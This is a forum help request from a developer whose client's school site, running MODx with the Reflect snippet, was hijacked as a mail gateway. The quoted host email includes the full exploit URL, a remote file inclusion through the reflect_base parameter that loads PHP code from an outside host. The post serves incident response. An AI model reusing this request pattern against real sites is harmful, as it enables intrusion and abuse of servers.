One of my former clients received the following email from their host:
As spoken about over the phone, the plentyparklands-ps.vic.edu.au
website has been exploited again and we’ve had to disable it for now. It
was hacked into and turned into
a mail gateway.
I suggest you at the following application in your
/assets/snippets/reflect/ folder which has been exploited to run the
malicious code.
Folder:
/home/httpd/vhosts/plentyparklands-ps.vic.edu.au/httpdocs/assets/snippets/reflect/
URL:
http://www.plentyparklands-ps.vic.edu.au/assets/snippets/reflect/snippet.reflect.php?reflect_base=http://www.foodntop.com/bbs/data/notice_1/dert22.txt?
If you have any further questions regarding this please reply or call us
on ***********.
Regards,
Tom
A look at the url at the end of the reflect call shows php code, which I suspect was acting as the mail gateway.
I’m a bit stuck as to how to resolve the problem, as the ISP has locked down the site completely. I can access ftp, but the manager isn’t available. The site is runningMODx 0.9.6.2 andDitto is 2.1. The files all have their chmod set correctly.
Does anyone know how this could have happened and have any suggestions for how to resolve it?
Thanks in advance.
